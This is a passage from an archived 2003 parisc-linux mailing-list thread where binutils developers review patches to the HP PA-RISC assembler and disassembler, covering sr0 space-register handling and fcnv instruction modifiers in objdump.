+		    int space = GET_FIELD (insn, 16, 17);
+		    if (space != 0)
+		      (*info->fprintf_func) (info->stream, "sr%d", space);
+		  }
 		  break;
 
 		case 'S':

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] second sr0 patch
Date: Sun, 23 Feb 2003 20:48:42 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622233 21998 80.91.229.3 (22 Nov 2014 02:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 13:48:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4967485E
	for <parisc-linux@parisc-linux.org>; Sun, 23 Feb 2003 13:48:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18n33C-00039o-00
	for parisc-linux@parisc-linux.org; Sun, 23 Feb 2003 20:48:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17768

forgot to cc p-l on this one.  sorry.

----- Forwarded message from Matthew Wilcox <willy@wil.cx> -----

Index: gas/ChangeLog
===================================================================
RCS file: /cvs/src/src/gas/ChangeLog,v
retrieving revision 1.1677
diff -u -p -r1.1677 ChangeLog
--- gas/ChangeLog	21 Feb 2003 19:05:01 -0000	1.1677
+++ gas/ChangeLog	23 Feb 2003 19:21:05 -0000
@@ -1,3 +1,8 @@
+2003-02-23  Matthew Wilcox  <willy@debian.org>
+
+	* config/tc-hppa.c: Do not accept sr0 as a valid space register when
+	  constructing an instruction with a 2-bit s field.
+
 2003-02-21  Nick Clifton  <nickc@redhat.com>
 
 	* NEWS: Mention availability of test generator program.
Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.102
diff -u -p -r1.102 tc-hppa.c
--- gas/config/tc-hppa.c	23 Jan 2003 12:51:04 -0000	1.102
+++ gas/config/tc-hppa.c	23 Feb 2003 19:21:09 -0000
@@ -1794,7 +1794,7 @@ pa_ip (str)
 	      if (!pa_parse_number (&s, 0))
 		break;
 	      num = pa_number;
-	      CHECK_FIELD (num, 3, 0, 1);
+	      CHECK_FIELD (num, 3, 1, 1);
 	      INSERT_FIELD_AND_CONTINUE (opcode, num, 14);
 
 	    /* Handle a 3 bit space identifier at 18.  */

----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] second sr0 patch
Date: Sun, 23 Feb 2003 15:20:35 -0700 (MST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20030223222035.26E3812133__26411.9902895347$1416622233$gmane$org@security.hp.com>
References: <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622233 22002 80.91.229.3 (22 Nov 2014 02:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:33 +0000 (UTC)
Cc: binutils@sources.redhat.com, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 15:20:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7145486B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Feb 2003 15:20:22 -0700 (MST)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 682AB1C009E3; Sun, 23 Feb 2003 17:20:22 -0500 (EST)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id 26E3812133; Sun, 23 Feb 2003 15:20:35 -0700 (MST)
X-Newsgroups: local.linux.pa
In-Reply-To: <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk>
User-Agent: tin/1.4.2-20000205 ("Possession") (UNIX) (HP-UX/B.10.20 (9000/770))
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17769

In article <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk> you wrote:

> --- gas/config/tc-hppa.c	23 Jan 2003 12:51:04 -0000	1.102
> +++ gas/config/tc-hppa.c	23 Feb 2003 19:21:09 -0000
> @@ -1794,7 +1794,7 @@ pa_ip (str)
>  	      if (!pa_parse_number (&s, 0))
>  		break;
>  	      num = pa_number;
> -	      CHECK_FIELD (num, 3, 0, 1);
> +	      CHECK_FIELD (num, 3, 1, 1);
>  	      INSERT_FIELD_AND_CONTINUE (opcode, num, 14);
>  
>  	    /* Handle a 3 bit space identifier at 18.  */

I don't think this is a good plan.  Emit a warning, sure, but there is
a large collection of legacy PARISC assembly code out there that has
this perfectly legal, and hp-ux assembler-accepted-from-day-0 construct.

lamont


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] second sr0 patch
Date: Sun, 23 Feb 2003 22:27:48 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20030223222748.F2938__28635.5158816606$1416622234$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk> <20030223222035.26E3812133@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622234 22005 80.91.229.3 (22 Nov 2014 02:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:34 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, binutils@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 15:27:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FCFD4869
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Feb 2003 15:27:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18n4b6-00046m-00; Sun, 23 Feb 2003 22:27:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030223222035.26E3812133@security.hp.com>; from lamont@hp.com on Sun, Feb 23, 2003 at 03:20:35PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17770

On Sun, Feb 23, 2003 at 03:20:35PM -0700, LaMont Jones wrote:
> In article <20030223204842.E2938@parcelfarce.linux.theplanet.co.uk> you wrote:
> > +++ gas/config/tc-hppa.c	23 Feb 2003 19:21:09 -0000
> > @@ -1794,7 +1794,7 @@ pa_ip (str)
> >  	      if (!pa_parse_number (&s, 0))
> >  		break;
> >  	      num = pa_number;
> > -	      CHECK_FIELD (num, 3, 0, 1);
> > +	      CHECK_FIELD (num, 3, 1, 1);

> I don't think this is a good plan.  Emit a warning, sure, but there is
> a large collection of legacy PARISC assembly code out there that has
> this perfectly legal, and hp-ux assembler-accepted-from-day-0 construct.

OK, patch withdrawn.  It's misleading to use this construct, but if people
have been doing it for fifteen years then it's just not reasonable to
not support it now.

The other patch still stands; we're not using sr0 so it's misleading to
pretend that we are.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 16:54:21 +1030
Lines: 20
Approved: news@gmane.org
Message-ID: <20030224062421.GA31111__2212.37830487571$1416622234$gmane$org@bubble.sa.bigpond.net.au>
References: <20030223185847.C2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622234 22021 80.91.229.3 (22 Nov 2014 02:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:34 +0000 (UTC)
Cc: binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 23:24:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F766486C
	for <parisc-linux@parisc-linux.org>; Sun, 23 Feb 2003 23:24:25 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.78]) by
          mta05ps.bigpond.com (Netscape Messaging Server 4.15 mta05ps Jul
          16 2002 22:47:55) with SMTP id HASV4L00.E6M for
          <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 16:24:21 +1000 
Original-Received: from CPE-144-136-190-206.sa.bigpond.net.au ([144.136.190.206]) by psmam04bpa.bigpond.com(MailRouter V3.0n 98/194938); 24 Feb 2003 16:24:21
Original-Received: (qmail 4136 invoked by uid 179); 24 Feb 2003 06:24:21 -0000
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030223185847.C2938@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17771

On Sun, Feb 23, 2003 at 06:58:47PM +0000, Matthew Wilcox wrote:
> +	* hppa-dis.c: Do not emit a space register if the space register
> +	field is 2 bits and the value is 0 as this is implicit addressing,
> +	not use of space register 0.

Hi Matthew,
  ChangeLog entries shouldn't be sent as diffs.  Write this one as

	* hppa-dis.c (print_insn_hppa <2 bit space register>): Do not print
	the space register when the value is zero.

and put the reason for the change as a comment in the code if you feel
you need some justification for the change.

Did you run the binutils testsuite?

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 12:48:55 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20030224124855.G2938__12383.9590269656$1416622234$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030223185847.C2938@parcelfarce.linux.theplanet.co.uk> <20030224062421.GA31111@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622234 22024 80.91.229.3 (22 Nov 2014 02:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:34 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 05:48:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2936486D
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 05:48:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nI2R-0002Z3-00; Mon, 24 Feb 2003 12:48:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030224062421.GA31111@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Mon, Feb 24, 2003 at 04:54:21PM +1030
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17772

On Mon, Feb 24, 2003 at 04:54:21PM +1030, Alan Modra wrote:
>   ChangeLog entries shouldn't be sent as diffs.  Write this one as
> 
> 	* hppa-dis.c (print_insn_hppa <2 bit space register>): Do not print
> 	the space register when the value is zero.
> 
> and put the reason for the change as a comment in the code if you feel
> you need some justification for the change.

OK.  I'm just used to changelogs which're a little more verbose.  I
don't think it really needs justifying.

> Did you run the binutils testsuite?

I hadn't... but I have now, and it doesn't introduce any failures.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Implement fcnv in objdump
Date: Mon, 24 Feb 2003 13:07:53 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20030224130753.H2938__3796.71996129236$1416622235$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622235 22026 80.91.229.3 (22 Nov 2014 02:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:35 +0000 (UTC)
To: binutils@sources.redhat.com, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 06:07:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38276486E
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 06:07:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nIKn-0002ik-00; Mon, 24 Feb 2003 13:07:53 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17773

2003-02-24  Matthew Wilcox  <willy@debian.org>

	* hppa-dis.c (print_insn_hppa): Implement fcnv instruction modifiers.

Index: opcodes/hppa-dis.c
===================================================================
RCS file: /cvs/src/src/opcodes/hppa-dis.c,v
retrieving revision 1.41
diff -u -p -r1.41 hppa-dis.c
--- opcodes/hppa-dis.c	31 Dec 2001 23:44:08 -0000	1.41
+++ opcodes/hppa-dis.c	24 Feb 2003 12:59:06 -0000
@@ -123,6 +123,8 @@ static const char *const short_bytes_com
   "", ",b,m", ",e", ",e,m"
 };
 static const char *const float_format_names[] = {",sgl", ",dbl", "", ",quad"};
+static const char *const fcnv_fixed_names[] = {",w", ",dw", "", ",qw"};
+static const char *const fcnv_ufixed_names[] = {",uw", ",udw", "", ",uqw"};
 static const char *const float_comp_names[] =
 {
   ",false?", ",false", ",?", ",!<=>", ",=", ",=t", ",?=", ",!<>",
@@ -397,7 +399,7 @@ print_insn_hppa (memaddr, info)
 #endif
 	  (*info->fprintf_func) (info->stream, "%s", opcode->name);
 
-	  if (!strchr ("cfCY?-+nHNZFIuv", opcode->args[0]))
+	  if (!strchr ("cfCY?-+nHNZFIuv{", opcode->args[0]))
 	    (*info->fprintf_func) (info->stream, " ");
 	  for (s = opcode->args; *s != '\0'; ++s)
 	    {
@@ -1131,11 +1136,33 @@ print_insn_hppa (memaddr, info)
 		    break;
 		  }
 
-		/* ?!? FIXME */
 		case '_':
+		  break; /* Dealt with by '{' */
+
 		case '{':
-		  fputs_filtered ("Disassembler botch.\n", info);
-		  break;
+		  {
+		    int sub = GET_FIELD (insn, 14, 16);
+		    int df = GET_FIELD (insn, 17, 18);
+		    int sf = GET_FIELD (insn, 19, 20);
+		    const char * const * source = float_format_names;
+		    const char * const * dest = float_format_names;
+		    char *t = "";
+		    if (sub == 4)
+		      {
+			fputs_filtered (",UND ", info);
+			break;
+		      }
+		    if ((sub & 3) == 3)
+		      t = ",t";
+		    if ((sub & 3) == 1)
+		      source = (sub & 4) ? fcnv_ufixed_names : fcnv_fixed_names;
+		    if (sub & 2)
+		      dest = (sub & 4) ? fcnv_ufixed_names : fcnv_fixed_names;
+
+		    (*info->fprintf_func) (info->stream, "%s%s%s ",
+					   t, source[sf], dest[df]);
+		    break;
+		  }
 
 		case 'm':
 		  {

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 08:01:31 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200302241501.h1OF1WJT001142__26698.317731689$1416622235$gmane$org@localhost.redhat.com>
References: <20030224062421.GA31111@bubble.sa.bigpond.net.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622235 22035 80.91.229.3 (22 Nov 2014 02:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 07:57:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E3FD486F
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 07:57:17 -0700 (MST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id h1OEvCe27943;
	Mon, 24 Feb 2003 09:57:12 -0500
Original-Received: from localhost.redhat.com (vpn50-39.rdu.redhat.com [172.16.50.39])
	by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1OEvAq29874;
	Mon, 24 Feb 2003 09:57:10 -0500
Original-Received: from redhat.com (law@localhost)
	by localhost.redhat.com (8.12.5/8.12.5/Submit) with ESMTP id h1OF1WJT001142;
	Mon, 24 Feb 2003 08:01:38 -0700
X-Authentication-Warning: localhost.redhat.com: law owned process doing -bs
In-Reply-To: Your message of "Mon, 24 Feb 2003 16:54:21 +1030."
             <20030224062421.GA31111@bubble.sa.bigpond.net.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17774

In message <20030224062421.GA31111@bubble.sa.bigpond.net.au>, Alan Modra writes
:
 >Hi Matthew,
 >  ChangeLog entries shouldn't be sent as diffs.  Write this one as
 >
 >	* hppa-dis.c (print_insn_hppa <2 bit space register>): Do not print
 >	the space register when the value is zero.
 >
 >and put the reason for the change as a comment in the code if you feel
 >you need some justification for the change.
 >
 >Did you run the binutils testsuite?
And the GDB testsuite, which tests the PA disassembler.  I'm 99% sure
it's going to fail after this change.

jeff


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 14:59:57 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030224145957.K2938__1051.05198822475$1416622235$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030224062421.GA31111@bubble.sa.bigpond.net.au> <200302241501.h1OF1WJT001142@localhost.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622235 22043 80.91.229.3 (22 Nov 2014 02:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:35 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>,
	Matthew Wilcox <willy@debian.org>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: law@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 07:59:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4C64874
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 07:59:58 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nK5F-0004M2-00; Mon, 24 Feb 2003 14:59:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302241501.h1OF1WJT001142@localhost.redhat.com>; from law@redhat.com on Mon, Feb 24, 2003 at 08:01:31AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
